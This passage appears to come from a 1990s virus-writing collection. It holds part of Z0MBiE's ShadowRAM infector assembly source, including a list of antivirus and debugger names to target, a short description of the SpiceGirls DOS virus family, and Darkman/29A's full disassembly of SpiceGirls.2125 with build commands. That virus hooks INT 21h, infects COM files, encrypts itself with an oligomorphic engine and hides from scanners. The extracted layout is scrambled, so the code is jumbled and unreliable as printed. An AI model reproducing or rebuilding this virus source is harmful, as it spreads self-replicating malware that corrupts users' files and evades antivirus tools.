si si ds:[si+21h*4] bx

ret ; - -[FUCK13.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 analize_13_02:

lastword

@@1:

pusha mov dx, 1234h save_ax xor dh, dh shl dx, 4 lea mov xor cld

di, [bx+12] cx, 10 al, al

repe jne

scasb @@next

lea

bp, bad

mov

cx, 11

mov mov

si, bp di, bx

segcs cmp je cmp jae cmp jne inc loop

lodsb al, '°' @@6 al, 128 @@4 es:[di], al @@nxt di @@3

mov mov stosb xor mov rep

di, bx al, 0E5h

jmp

@@next

@@nxt:

add cmp jne

bp, 11 bp, offset bad_end @@2

@@next:

add dec jnz

bx, 32 dx @@1

@@2:

@@3:

@@6: @@4:

ax, ax cx, 31 stosb

popa ret ; - -[SWITCH13.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 switch_13:

lastword

@@1:

push lds

ax si di ds es si, cs:real_13

push my_seg pop lea

1234h

mov xchg mov

al, [si] al, es:[di] [si], al

inc

si

inc cmp jne

di di, offset EA + 5 @@1

pop ret

es ds di si ax

es di, EA

; - -[CONST.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 db 13,10,10 db 'Z0MBiE`' IF VIR_SIZE GE 1000 db vir_size / 1000 mod 10 + '0' ENDIF db vir_size / 100 mod 10 + '0' db vir_size / 10 mod 10 + '0' db vir_size / 1 mod 10 + '0' db ' v1.00 (c) 1997 Z0MBiE',13,10 db 'Tnx to S.S.R.',13,10 db 'ShadowRAM/Virtual Process Infector',13,10 DB 'ShadowRAM Technology (c) 1996,97 Z0MBiE',13,10 ; ¯®å¥à¨¬ ¨å ;) bad:

db db db db db db db db db db db db db

'ADINF-£ ¢-®' 'AIDS-¯®£ -ì' 'AVP--á ªá--' 'WEB--ã©®¡®ª' 'DRWEB-⮦¥-' '-åã©-ï--°°°' '-¤¥à쬮-CPP' '-¥- ¢¨¦ãC ' 'S-ICE-àã«¥§' 'TD-¬ áâ-¤ ©' 'DEBUG--£ã¤-' 'WEB70801íâ®' 'CA-¬®ñ--AV-'

bad_end: ; - -[STAMMS.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 stamm_1: dw db dw dd dw db dw dd

0015h 01eh 0051h 0091e60f1h 00bdh 0a3h 00f7h 00b7405fah

dw db dw dd dw db dw dd

0006h 0b4h 0022h 0f1ebf71eh 00b3h 080h 00dfh 03d021624h

dw db dw dd dw db dw dd

0032h 01eh 005eh 001b82595h 00c5h 033h 00e1h 0b104c9e9h

stamm_2:

stamm_3:

stamm_4: dw 003eh

db dw dd dw db dw dd

0fah 005ah 08b134c0bh 00cdh 080h 00f9h 059e0df7fh

dw db dw dd dw db dw dd

0009h 02eh 0025h 0e809e525h 0037h 0e8h 0063h 04b02f8a4h

dw db dw dd dw db dw dd

0009h 050h 0025h 000845225h 0043h 080h 006fh 003449a4eh

dw db dw dd dw db dw dd

001ah 050h 0046h 0c033cbadh 0085h 0a1h 00a1h 0a306fd1bh

dw db dw dd dw db dw dd

0036h 0b8h 0052h 050e0c65bh 00b2h 09ch 00deh 08ec9e34eh

dw db dw dd dw db dw dd

0007h 08eh 0023h 002a20883h 00b3h 091h 00dfh 00315fe59h

stamm_5:

stamm_6:

stamm_7:

stamm_8:

stamm_9:

stamms_num stamms_max_ip

equ equ

9 254

; - -[VAR.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 stamm:

db stamms_max_ip dup ('?')

EA

db dw dw

my_seg2

? ? ?

header

exe_struc ?

buf

db

64 dup (?)

SpiceGirl family ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ These are harmless memory resident parasitic viruses. They hook INT 21h and write themselves to the beginning of COM files (except COMMAND.COM) that are accessed. The viruses are encrypted starting from 1619 bytes version. Starting from 2123 bytes version they are semi-stealth - on opening an infected file they create temporary file, write to there disinfected copy of original file, and return "handle" of disinfected copy instead of original file. On closing these viruses delete the temporary file. The viruses use new way to avoid detection - the infected files have no entry point (start code). The address of entry point in infected files is out of file body and it is impossible to reach virus code by parsing EXE header. To realize this method the virus uses several PSP (Program's Segment Prefix) and EXE header tricks. The format of virus code is EXE, i.e. the virus as a program is EXE program with EXE header, relocation table and so on (as a result infected COM files are of EXE internal format). EXE header fields in virus (initial CS and IP) are patches so, that entry address points not to file code, but to PSP data (i.e. out of file). At that address PSP contains RET FAR code that follows the call to INT 21h handler. So, the virus entry address points to RET FAR code, and control then will be passed to code that is pointed by stack. To pass the control to its real entry code the virus has initial stack registers (SS and SP) in its EXE header and stack data that points to real entry: ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿ PSP Control flow ³CD 20 ³ ³ ³ ³ ³CD 21 ³ ³ ³CB / RET FAR³ Entry address, DOS will <ÄÄÄÄij ³ bring control to here ÄÄÄÄÄ¿ ³ 0100 ÉÍÍÍÍÍÍÍÍÍÍÍÍ» Virus code (file image) ³ º º ³ ÇÄÄÄÄÄÄÄÄÄÄÄĶ ³ ºStack º Stack data points to ÄÄÄÄ>³ º º real entry ³ ÇÄÄÄÄÄÄÄÄÄÄÄĶ ³ º º Real virus entry code <ÄÄÄÄĺ . . . º 0000 .... 0050 0052 ....

The virus contain the text strings: What? 'Error: invalid program'? Me? Fprot, are you crazy? :) And you, Avp, 'EXE file but COM extension'. What a deep scan. ;) Spice_Girls virus causes problems to your scan engine eh? :) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SPIC2125.ASM]ÄÄ comment * SpiceGirls.2125 Disassembled by Darkman/29A SpiceGirls.2125 is a 2125 bytes parasitic resident COM virus. Infects files at open file, close file, get or set file attributes, load and/or execute program and rename file by prepending an EXE header and the virus to the infected file. SpiceGirls.2125 has an error handler, anti-heuristic techniques, anti-debugging techniques, disinfection on fly and is oligomorphic in file using its internal oligomorphic engine. To compile SpiceGirls.2125 with Turbo Assembler v 4.0 type: TASM /m SPIC2125.ASM

TLINK /t /x SPIC2125.OBJ * .model tiny .code org 100h head_begin: pages_begin: db bytes_on_las dw pages_in_fil dw dw dw dw dw db dd dw dw relo_begin: relocations dd dd dd relo_end: db head_end: code_begin: db stack_ptr: dd dw dw dw crypt_size dw crypt_key dw virus_begin: pop_reg16 equ pop decrypt_loop: decrypt_algo equ index_reg equ add index_reg_ equ add_idx_imm8 equ add loop nop crypt_begin: mov

; Origin of SpiceGirls.2125

'MZ'

; EXE signature (pages_end-pages_begin) mod 200h (pages_end-pages_begin)/200h (relo_end-relo_begin)/04h (head_end-head_begin)/10h 00h,01h ; Minimum-, maximum number of para... 0ffeah,stack_ptr ; Pointer to stack 'SG' ; Checksum 0ffea00b2h ; Pointer to service request + 02h relocations-100h ; Offset of relocations - 100h 00h ; Overlay number (main program) 0ffea0178h,0ffea017ch,0ffea0180h,0ffea0184h,0ffea0188h 0ffea018ch,0ffea0190h,0ffea0194h,0ffea01beh,0ffea01f8h 0ffea0206h,0ffea0218h,0ffea0228h,0ffea025ch,0ffea0272h 08h dup(00h)

' - Spice_Girls.2125 - ' 07h dup(0ffea00b2h) ; Seven pointers to service reques... virus_begin ; Offset of virus_begin 0ffeah ; Segment of virus_begin crypt_begin ; Offset of crypt_begin (crypt_end-crypt_begin)/02h 00h ; 16-bit encryption/decryption key byte ptr $ di cx ax

; POP reg16 ; Load registers from stack

byte ptr $+01h ; Decryption algorithme byte ptr $+02h ; 16-bit index register cs:[di],ax ; Decrypt two bytes byte ptr $+01h ; 16-bit index register byte ptr $+02h ; 8-bit immediate di,02h ; DI = offset of next encrypted byte decrypt_loop

cs:[psp_segment],ds ; Store segment of PSP for current...

push pop

cs ds

; Save CS at stack ; Load DS from stack (CS)

push pop

cs es

; Save CS at stack ; Load ES from stack (CS)

nop nop nop

call virus_exit: mov nop db dd

find_name

call eternal_loop: jc

install

ax,(3000h+'S') 9ah 0ffea00b0h

eternal_loop

jmp find_name

; SpiceGirls.2125 function

; CALL imm32 (opcode 9ah) ; Pointer to service request

; Error? Jump to eternal_loop

virus_exit proc

push mov mov xor find_zero: lodsb cmp jne lodsb cmp jne add find_zero_: lodsb cmp jne

near

; Find filename ds ; Save DS at stack ds,[psp_segment] ; DS = segment of PSP for current ... ds,ds:[2ch] ; DS = segment of environment for ... si,si ; Zero SI ; AL = byte of environment block al,00h ; Last environment variable? find_zero ; Not equal? Jump to find_zero ; AL = byte of environment block al,00h ; Last environment variable? find_zero ; Not equal? Jump to find_zero si,02h

; SI = offset of filename

; AL = byte of filename al,00h ; End of filename? find_zero_ ; Not equal? Jump to find_zero_

sub

si,02h

mov

byte ptr [si],0ffh

pop

ds

ret endp install

; Store last byte of file extension

; Load DS from stack ; Return!

proc mov xor mov nop db dd

; SI = offset of last character by...

near ; Allocate memory, move virus to t... ah,(48h xor 'S') ; Allocate memory ah,'S' bx,0ffffh ; BX = number of paragraphs to all... 9ah 0ffea00b0h

; CALL imm32 (opcode 9ah) ; Pointer to service request

mov xor sub db dd jc mov

ah,(48h xor 'S') ; Allocate memory ah,'S' bx,(memory_end-head_begin+0fh)/10h+01h 9ah ; CALL imm32 (opcode 9ah) 0ffea00b0h ; Pointer to service request install_exit ; Error? Jump to install_exit bp,ax ; BP = segment of allocated block

mov xor mov nop db

ah,(48h xor 'S') ; Allocate memory ah,'S' bx,(memory_end-head_begin+0fh)/10h 9ah

; CALL imm32 (opcode 9ah)

dd jc

0ffea00b0h install_exit

xchg push mov mov xor db dd

ax,bp es es,ax ah,(49h xor ah,'S' 9ah 0ffea00b0h

sub mov mov

bp,10h ; Subtract ten from segment of all... es,bp ; ES = segment of allocated block word ptr es:[0f1h],08h

lea mov mov move_header: lodsb stosb loop lea mov move_virus: lodsb stosb

; Pointer to service request ; Error? Jump to install_exit ; AX = segment of allocated block ; Save ES at stack ; ES = segment of allocated block 'S') ; Free memory ; CALL imm32 (opcode 9ah) ; Pointer to service request

si,exe_header ; SI = offset of exe_header di,100h ; DI = offset of beginning of code cx,(header_end-header_begin) ; AL = byte of exe_header ; Store byte of exe_header move_header si,virus_begin ; SI = offset of virus_begin cx,(code_end-virus_begin) ; AL = byte of virus ; Store byte of virus

loop

move_virus

call

correct_relo

push

ds

; Save DS at stack

push pop

es ds

; Save ES at stack ; Load DS from stack (ES)

mov xor db dd mov mov

ax,(3521h xor 'SG') ; Get interrupt vector 21h ax,'SG' 9ah ; CALL imm32 (opcode 9ah) 0ffea00b0h ; Pointer to service request word ptr [int21_addr],bx word ptr [int21_addr+02h],es

mov xor lea nop db dd

ah,(25h xor 'S') ; Set interrupt vector 21h ah,'S' dx,int21_virus ; DX = offset of int21_virus 9ah 0ffea00b0h

; CALL imm32 (opcode 9ah) ; Pointer to service request

pop

ds es

; Load segments from stack

clc install_exit: ret endp

; Clear carry flag ; Return!

correct_relo proc near ; Correct relocation entries lea si,relocations ; SI = offset of relocations mov cx,0fh ; CX = number of relocation entries

correct_loop: mov add mov loop

di,es:[si] ; DI = offset of relocation si,04h ; SI = offset of next relocation e... es:[di],0ffeah ; Store high-order word of relocat... correct_loop

ret endp

; Return!

int21_virus proc near xor ah,'S'

; Interrupt 21h of SpiceGirls.2125

cmp je cmp je cmp je cmp je cmp je cmp je int21_exit: xor

ax,(3000h xor 5300h+'S') jmp_spice_fu ; Equal? Jump to jmp_spice_fu ah,(3dh xor 'S') ; Open file? jmp_exam_fil ; Equal? Jump to jmp_exam_fil ah,(3eh xor 'S') ; Close file? jmp_pre_test ; Equal? Jump to jmp_pre_test ah,(43h xor 'S') ; Get or set file attributes jmp_exam_fil ; Equal? Jump to jmp_exam_fil ah,(4bh xor 'S') ; Load and/or execute program? jmp_exam_fil ; Equal? Jump to jmp_exam_fil ah,(56h xor 'S') ; Rename file jmp_exam_fil ; Equal? Jump to jmp_exam_fil

jmp endp jmp_spice_fu: jmp

cs:[int21_addr]

nop jmp_exam_fil: jmp jmp_pre_test: jmp spice_functi: add popf

ah,'S'

spice_functi

examine_file pre_tst_func sp,04h

; Correct stack pointer ; Load flags from stack

mov

[file_handle_],'SG'

mov mov

ax,[origin_off] cs:[origin_off],ax

mov mov

ax,ds:[psp_segment] ; AX = segment of PSP for current ... cs:[psp_segment],ax ; Store segment of PSP for current...

mov mov

ds,cs:[psp_segment] ; DS = segment of PSP for current ... es,cs:[psp_segment] ; ES = segment of PSP for current ...

mov xor mov call

ah,(4ah xor 'S') ; Resize memory block ah,'S' bx,0ffffh ; BX = new size in paragraphs int21_simula

mov xor sub call

ah,(4ah xor 'S') ; Resize memory block ah,'S' bx,04h ; BX = new size in paragraphs int21_simula

; AX = offset of original code ; Store offset of original code

cli mov mov sti

; Clear interrupt-enable flag ss,cs:[psp_segment] ; SS = segment of PSP for current ... sp,0fffah ; SP = stack pointer ; Set interrupt-enable flag

mov mov mov

word ptr ds:[0fffeh],00h ds:[0fffch],ds ; Store segment of PSP for current... ds:[0fffah],100h ; Store instruction pointer

std mov add add

; Set direction flag si,cs:[origin_off] ; SI = offset of original code si,100h ; Add offset of beginning of code si,(code_end-code_begin)

mov add add

di,cs:[origin_off] ; DI = offset of original code di,100h ; Add offset of beginning of code di,(code_end-head_begin)

dec dec mov move_origin: lodsb stosb loop cld mov add mov mov move_origin_: lodsb stosb

si ; Decrease SI di ; Decrease DI cx,cs:[origin_off] ; CX = offset of original code ; AL = byte of original code ; Store byte of original code move_origin ; Clear direction flag si,cs:[origin_off] ; SI = offset of original code si,100h ; Add offset of beginning of code di,100h ; DI = offset of beginning of code cx,(code_end-head_begin) ; AL = byte of original code ; Store byte of original code

loop

move_origin_

xor xor xor xor xor xor xor

ax,ax cx,cx dx,dx bx,bx bp,bp si,si di,di

retf examine_file: mov mov mov pushf push sti cld

; ; ; ; ; ; ;

Zero Zero Zero Zero Zero Zero Zero

AX CX DX BX BP SI DI

; Return far! cs:[dos_function],ah word ptr cs:[name_pointer],dx word ptr cs:[name_pointer+02h],ds ; Save flags at stack ax cx dx bx bp si di es ds ; Set interrupt-enable flag ; Clear direction flag

call

int24_store

mov mov

si,word ptr cs:[name_pointer] ds,word ptr cs:[name_pointer+02h]

call jc

examine_name infect_exit

mov mov

dx,word ptr cs:[name_pointer] ds,word ptr cs:[name_pointer+02h]

call jc

test_exe_sig infect_exit

mov mov

dx,word ptr cs:[name_pointer] ds,word ptr cs:[name_pointer+02h]

call jc

tst_filesize infect_exit

mov mov

dx,word ptr cs:[name_pointer] ds,word ptr cs:[name_pointer+02h]

; Error? Jump to infect_exit

; Error? Jump to infect_exit

; Error? Jump to infect_exit

call infect_exit: mov mov

infect_file

call jc

test_infect examin_exit

mov

ah,cs:[dos_function]

mov mov

si,word ptr cs:[name_pointer] ds,word ptr cs:[name_pointer+02h]

call examin_exit: call

si,word ptr cs:[name_pointer] ds,word ptr cs:[name_pointer+02h]

; Error? Jump to examin_exit

test_functio int24_load

pop popf

ds es di si bp bx dx cx ax ; Load flags from stack

jmp

int21_exit

int24_store proc near ; Get and set interrupt vector 24h xor ax,ax ; Zero AX mov ds,ax ; DS = segment of interrupt table mov ax,ds:[24h*04h] ; AX = offset of interrupt 24h mov word ptr cs:[int24_addr],ax mov ax,ds:[24h*04h+02h] ; AX = segment of interrupt 24h mov word ptr cs:[int24_addr+02h],ax mov word ptr ds:[24h*04h],offset int24_virus mov ds:[24h*04h+02h],cs ; Set interrupt segment 24h ret endp

; Return!

examine_name proc near ; Examine filename lodsb ; AL = byte of filename cmp al,00h ; End of filename? jne examine_name ; Not equal? Jump to examine_name sub lodsw and cmp je

si,07h

; SI = offset of last two bytes of... ; AX = two bytes of filename ax,0101111101011111b ax,'DN' ; COMMAND.COM? examin_exit_ ; Equal? Jump to examin_exit_

lodsb cmp jne

; AL = dot after filename al,'.' ; Dot after filename? examin_exit_ ; Not equal? Jump to examin_exit_

lodsw and xor cmp jne

; AX = two bytes of file extension ax,0101111101011111b ax,'SG' ax,('OC' xor 'SG') ; COM executable? examin_exit_ ; Not equal? Jump to examin_exit_

lodsb and xor cmp jne

; AL = byte of file extension al,01011111b ; Upcase character al,'S' al,('M' xor 'S') ; COM executable? examin_exit_ ; Not equal? Jump to examin_exit_

clc

; Clear carry flag

ret examin_exit_: stc

; Return!

ret endp

; Return!

; Set carry flag

test_exe_sig proc near ; Test EXE signature mov ax,(3d00h xor 'SG') ; Open file (read) xor ax,'SG' call int21_simula jc tst_sig_exit ; Error? Jump to tst_sig_exit xchg ax,bx ; BX = file handle push pop

cs ds

mov xor lea mov call

ah,(3fh xor 'S') ; Read from file ah,'S' dx,exe_head_sig ; DX = offset of exe_head_sig cx,02h ; Read two bytes int21_simula

mov xor call

ah,(3eh xor 'S') ah,'S' int21_simula

mov xor cmp je

ax,('ZM' xor 'SG') ; AX = EXE signature ax,'SG' [exe_head_sig],ax ; Found EXE signature? tst_sig_exit ; Equal? Jump to tst_sig_exit

mov xor cmp je

ax,('MZ' xor 'SG') ; AX = EXE signature ax,'SG' [exe_head_sig],ax ; Found EXE signature? tst_sig_exit ; Equal? Jump to tst_sig_exit

clc ret tst_sig_exit: stc ret

; Save CS at stack ; Load DS from stack (CS)

; Close file

; Clear carry flag ; Return! ; Set carry flag ; Return!

endp tst_filesize proc near ; Test filesize mov ax,(3d00h xor 'SG') ; Open file (read) xor ax,'SG' call int21_simula xchg ax,bx ; BX = file handle push pop

cs ds

; Save CS at stack ; Load DS from stack (CS)

mov xor xor xor call

ax,(4202h xor 'SG') ; Set current file position (EOF) ax,'SG' cx,cx ; Zero CX dx,dx ; Zero DX int21_simula

push mov xor call pop

ax dx ; Save registers at stack ah,(3eh xor 'S') ; Close file ah,'S' int21_simula dx ax ; Load registers from stack

cmp jb cmp ja cmp ja

ax,(code_end-head_begin) tst_siz_exit ; Filesize too small? Jump to tst_... dx,00h ; Filesize too large? tst_siz_exit ; Above? Jump to tst_siz_exit ax,0ea60h ; Filesize too large? tst_siz_exit ; Above? Jump to tst_siz_exit

mov

[origin_off],ax

xor mov div cmp je

dx,dx ; Zero DX cx,200h cx ; Divide by pages dx,00h ; Bait file? tst_siz_exit ; Equal? Jump to tst_siz_exit

mov

ax,[origin_off]

xor mov div cmp je

dx,dx ; Zero DX cx,3e8h cx ; Divide by thousands dx,00h ; Bait file? tst_siz_exit ; Equal? Jump to tst_siz_exit

clc

; Return!

ret endp

; Return!

call ret endp

; Store offset of original code

; Clear carry flag

ret tst_siz_exit: stc

int21_simula proc pushf

; Store offset of original code

; Set carry flag

near

; Simulate interrupt 21h ; Save flags at stack

cs:[int21_addr] ; Return!

infect_file proc near ; Infect COM file mov ax,(4300h xor 'SG') ; Get file attributes xor ax,'SG' call int21_simula mov cs:[file_attr],cx ; Store file attributes mov xor xor call

ax,(4301h xor 'SG') ; Set file attributes ax,'SG' cx,cx ; CX = new file attributes int21_simula

mov xor call jnc

ax,(3d02h xor 'SG') ; Open file (read/write) ax,'SG' int21_simula load_info ; No error? Jump to load_info

jmp load_info: xchg

infect_exit_ ax,bx

; BX = file handle

push pop

cs ds

; Save CS at stack ; Load DS from stack (CS)

mov xor call mov mov

ax,(5700h xor 'SG') ; Set file's date and time ax,'SG' int21_simula [file_time],cx ; Store file time [file_date],dx ; Store file date

push mov mov

ds ax,0bf00h ds,ax

mov xor xor mov call

ah,(3fh xor 'S') ; Read from file ah,'S' dx,dx ; Zero DX cx,(code_end-head_begin) int21_simula

push mov xor xor xor call pop

ax ; ax,(4202h xor ax,'SG' cx,cx ; dx,dx ; int21_simula cx ;

mov xor xor call pop

ah,(40h xor 'S') ; Write to file ah,'S' dx,dx ; Zero DX int21_simula ds ; Load DS from stack

mov xor xor xor call

ax,(4200h xor 'SG') ; Set current file position (SOF) ax,'SG' cx,cx ; Zero CX dx,dx ; Zero DX int21_simula

mov add xor mov

ax,[origin_off] ; Store offset of original code ax,(code_end-head_begin) dx,dx ; Zero DX cx,200h

; Save DS at stack ; AX = segment of text video RAM ; DS = " " " " "

Save AX at stack 'SG') ; Set current file position (EOF) Zero CX Zero DX Load CX from stack (AX)

div inc mov mov

cx ; Divide by pages ax ; Increase AX [pages_in_fil],ax ; Store total number of 512-bytes ... [bytes_on_las],dx ; Store number of bytes on last 51...

push mov mov

ds ax,0bf00h ds,ax

call

spice_oligo

mov xor mov xor call pop

ah,(40h xor 'S') ; Write to file ah,'S' cx,(code_end-head_begin) dx,dx ; Zero DX int21_simula ds ; Load DS from stack

mov xor mov mov call

ax,(5701h xor 'SG') ; Set file's date and time ax,'SG' cx,[file_time] ; CX = file time dx,[file_date] ; DX = file date int21_simula

mov xor call infect_exit_: mov xor mov mov mov call

; Save DS at stack ; AX = segment of text video RAM ; DS = " " " " "

ah,(3eh xor 'S') ah,'S' int21_simula

; Close file

ax,(4301h xor 'SG') ; Set file attributes ax,'SG' ds,word ptr [name_pointer+02h] cx,cs:[file_attr] ; CX = file attributes dx,word ptr cs:[name_pointer] int21_simula

ret endp

; Return!

spice_oligo proc push ds

near

; SpiceGirls.2125 oligomorphic engine ; Save DS at stack

push pop

ds es

; Save DS at stack ; Load ES from stack (DS)

push pop

cs ds

; Save CS at stack ; Load DS from stack (CS)

in mov xor mov

al,40h ; AL = 8-bit random number byte ptr [crypt_key],al al,'S' byte ptr [crypt_key+01h],al

mov and mov

ah,al ; AH = 8-bit random number ah,00000001b ; AH = 16-bit index register [index_reg__],ah ; Store 16-bit index register

ror mov and mov

al,01h ; AL = 8-bit random number ah,al ; AH = encryption/decryption algor... ah,00000001b ; AH = " " [crypt_algo],ah ; Store encryption/decryption algo...

mov or

al,5eh ; POP SI (opcode 5eh) al,[index_reg__] ; POP reg16

mov

[pop_reg16],al

mov mov add mov mov mov

al,[crypt_algo] ; AL = encryption/decryption algor... ah,00h ; Zero AH ax,offset algo_table si,ax ; SI = offset of decryption algori... al,[si] ; AL = decryption algorithme [decrypt_algo],al ; Store decryption algorithme

mov or mov

al,04h ; AL = 16-bit index register al,[index_reg__] ; AL = " " " [index_reg],al ; Store 16-bit index register

mov or mov mov

al,0c6h ; AL = 16-bit index register al,[index_reg__] ; AL = " " " [index_reg_],al ; Store 16-bit index register [add_idx_imm8],02h ; Store 8-bit immediate

mov xor mov add mov mov mov

al,[crypt_algo] ; AL = encryption/decryption algor... al,00000001b ; Invert first bit of AL ah,00h ; Zero AH ax,offset algo_table si,ax ; SI = offset of encryption algori... al,[si] ; AL = encryption algorithme [encrypt_algo],al ; Store encryption algorithme

mov xor mov move_virus_: lodsb stosb

; Store POP reg16

si,100h ; SI = offset of beginning of code di,di ; Zero DI cx,(code_end-head_begin) ; AL = byte of virus ; Store byte of virus

loop

move_virus_

lea mov mov

si,crypt_begin-100h ; SI = offset of crypt_begin cx,[crypt_size] ; CX = number of bytes to encrypt ax,[crypt_key] ; AX = encryption/decryption key

jmp encrypt_loop encrypt_loop: encrypt_algo equ byte ptr $+01h ; Encryption algorithme sub es:[si],ax ; Encrypt two bytes add

si,02h

loop

encrypt_loop

pop

ds

; Load DS from stack

ret endp index_reg__ crypt_algo algo_table db

; SI = offset of next encrypted byte

; Return!

db db db

? ? 01h 29h

; ; ; ; SUB

16-bit index register Encryption/decryption algortihme ADD segment:[index],AX segment:[index],AX

test_infect proc near ; Test for previously infection lodsb ; AL = byte of filename cmp al,00h ; End of filename? jne test_infect ; Not equal? Jump to test_infect

sub lodsw and xor cmp jne

si,04h

; SI = offset of file extension ; AX = two bytes of file extension ax,0101111101011111b ax,'SG' ax,('OC' xor 'SG') ; COM executable? tst_inf_exit ; Not equal? Jump to tst_inf_exit

lodsb cmp jne

; AL = byte of file extension al,0ffh ; Allready infected? tst_inf_exit ; Not equal? Jump to tst_inf_exit

clc

; Clear carry flag

ret tst_inf_exit: stc

; Return!

ret endp

; Return!

; Set carry flag

test_functio proc near ; Test DOS function number cmp ah,(3dh xor 'S') ; Open file? je jmp_create ; Equal? Jump to jmp_create cmp ah,(3eh xor 'S') ; Close file? je jmp_delete ; Equal? Jump to jmp_delete ret endp jmp_create: jmp nop jmp_delete: jmp create_clean: push pop mov lea mov move_name: lodsb stosb

; Return!

create_clean

delete_clean cs es

; Save CS at stack ; Load ES from stack (CS)

si,dx ; SI = offset of filename di,filename ; DI = offset of filename cx,40h ; Move sixty-four bytes of the fil... ; AL = byte of filename ; Store byte of filename

loop

move_name

push pop

cs ds

mov xor xor lea call jnc

ah,(3ch xor 'S') ; Create file ah,'S' cx,cx ; CX = file attributes dx,filename ; DX = offset of filename int21_simula store_handle ; No error? Jump to store_handle

jmp store_handle: mov mov lea find_zero__:

; Save CS at stack ; Load DS from stack (CS)

clean_exit bp,ax ; BP = file handle [file_handle_],ax ; Store file handle si,filename ; SI = offset of filename

lodsb cmp jne

; AL = byte of filename al,00h ; End of filename? find_zero__ ; Not equal? Jump to find_zero__

sub

si,02h

mov

byte ptr [si],'M'

mov xor lea call jnc

ax,(3d00h xor 'SG') ; Open file (read) ax,'SG' dx,filename ; DX = offset of filename int21_simula store_extens ; No error? Jump to store_extens

jmp store_extens: mov mov

; SI = offset of last character by... ; Store last byte of file extension

clean_exit bx,ax ; BX = file handle byte ptr [si],0ffh ; Store last byte of file extension

mov mov

ax,0bf00h ds,ax

; AX = segment of text video RAM ; DS = " " " " "

mov xor mov mov call

ax,(4202h xor 'SG') ; Set current file position (EOF) ax,'SG' cx,-01h ; CX = end of file dx,-(code_end-head_begin) int21_simula

mov sub

si,ax ; SI = original filesize si,(code_end-head_begin)

mov xor mov xor call xchg

ah,(3fh xor 'S') ; Read from file ah,'S' cx,(code_end-head_begin) dx,dx ; Zero DX int21_simula bx,bp ; BX = file handle

mov xor mov xor call xchg

ah,(40h xor 'S') ; Write to file ah,'S' cx,(code_end-head_begin) dx,dx ; Zero DX int21_simula bx,bp ; BX = file handle

mov xor xor mov call tst_file_pos: mov cmp jae

ax,(4200h xor 'SG') ; Set current file position (SOF) ax,'SG' cx,cx ; Zero CX dx,(code_end-head_begin) int21_simula cx,1000h si,cx read_file

; CX = number of bytes to read ; Read less than four thousand and... ; Above or equal? Jump to read_file

mov read_file: mov

cx,si

; CX = number of bytes to read

di,cx

; DI = number of bytes to read

mov xor xor call

ah,(3fh xor 'S') ; Read from file ah,'S' dx,dx ; Zero DX int21_simula

mov xchg

cx,ax bx,bp

mov xor xor call xchg

ah,(40h xor 'S') ; Write to file ah,'S' dx,dx ; Zero DX int21_simula bx,bp ; BX = file handle

sub cmp jne

si,di ; SI = bytes left to read si,00h ; Read all of the file? tst_file_pos ; Not equal? Jump to tst_file_pos

mov xor call xchg

ah,(3eh xor 'S') ; Close file ah,'S' int21_simula bx,bp ; BX = file handle

mov xor call

ah,(3eh xor 'S') ah,'S' int21_simula

ret clean_exit: mov ret delete_clean: cmp jne

; CX = number of bytes actually read ; BX = file handle

; Close file

; Return! [file_handle_],'SG' ; Return! cs:[file_handle_],bx dont_delete ; Don't delete disinfected file

push pop

cs ds

mov xor lea call

ah,(41h xor 'S') ; Delete file ah,'S' dx,filename ; DX = offset of filename int21_simula

mov dont_delete: ret

; Save CS at stack ; Load DS from stack (CS)

[file_handle_],'SG' ; Return!

int24_load proc near ; Set interrupt vector 24h xor ax,ax ; Zero AX mov ds,ax ; DS = segment of interrupt table mov ax,word ptr cs:[int24_addr] mov ds:[24h*04h],ax ; Store segment of interrupt 24h mov ax,word ptr cs:[int24_addr+02h] mov ds:[24h*04h+02h],ax ; Store segment of interrupt 24h ret endp pre_tst_func: mov mov pushf push sti cld

; Return!

cs:[dos_function],ah cs:[file_handle],bx ; Store file handle ; Save flags at stack ax cx dx bx bp si di es ds ; Set interrupt-enable flag ; Clear direction flag

call

int24_store

mov mov call

ah,cs:[dos_function] bx,cs:[file_handle] ; BX = file handle test_functio

call

int24_load

pop popf

ds es di si bp bx dx cx ax ; Load flags from stack

jmp

int21_exit

int24_virus proc near mov al,03h iret endp db db db db header_begin: exe_header db dw dw dw dw dw dw db dd dw dw dd dd dd db db dd dw dw dw dw dw header_end: psp_segment dw int21_addr dd int24_addr dd dos_function db name_pointer dd file_handle dw exe_head_sig dw file_attr dw file_time dw file_date dw origin_off dw file_handle_ dw filename db crypt_end: db code_end:

; Interrupt 24h of SpiceGirls.2125 ; Fail system call in progress ; Interrupt return!

0dh,0ah,'What? ''Error: invalid program''? Me? Fprot, are you crazy? :)' 0dh,0ah,'And you, Avp, ''EXE file but COM extension''. What a deep scan. ;)' 0dh,0ah,'Spice_Girls virus causes problems to your scan engine eh? :)' 0dh,0ah,'$' 'MZ' ; EXE signature (pages_end-pages_begin) mod 200h (pages_end-pages_begin)/200h (relo_end-relo_begin)/04h (head_end-head_begin)/10h 00h,01h ; Minimum-, maximum number of para... 0ffeah,stack_ptr ; Pointer to stack 'SG' ; Checksum 0ffea00b2h ; Pointer to service request + 02h relocations-100h ; Offset of relocations - 100h 00h ; Overlay number (main program) 0ffea0178h,0ffea017ch,0ffea0180h,0ffea0184h,0ffea0188h 0ffea018ch,0ffea0190h,0ffea0194h,0ffea01beh,0ffea01f8h 0ffea0206h,0ffea0218h,0ffea0228h,0ffea025ch,0ffea0272h 08h dup(00h) ' - Spice_Girls.2125 - ' 07h dup(0ffea00b2h) ; Seven pointers to service reques... virus_begin ; Offset of virus_begin 0ffeah ; Segment of virus_begin crypt_begin ; Offset of crypt_begin (crypt_end-crypt_begin)/02h 00h ; 16-bit encryption/decryption key ? ; Segment of PSP for current proce... ? ; Address of interrupt 21h ? ; Address of interrupt 24h ? ; DOS function number ? ; Pointer to filename ? ; File handle ? ; EXE header signature ? ; File attributes ? ; File time ? ; File date terminate-100h ; Offset of original code ? ; File handle 40h dup(?) ; Filename 00h

memory_end: terminate: mov int db pages_end:

ax,4c00h 21h

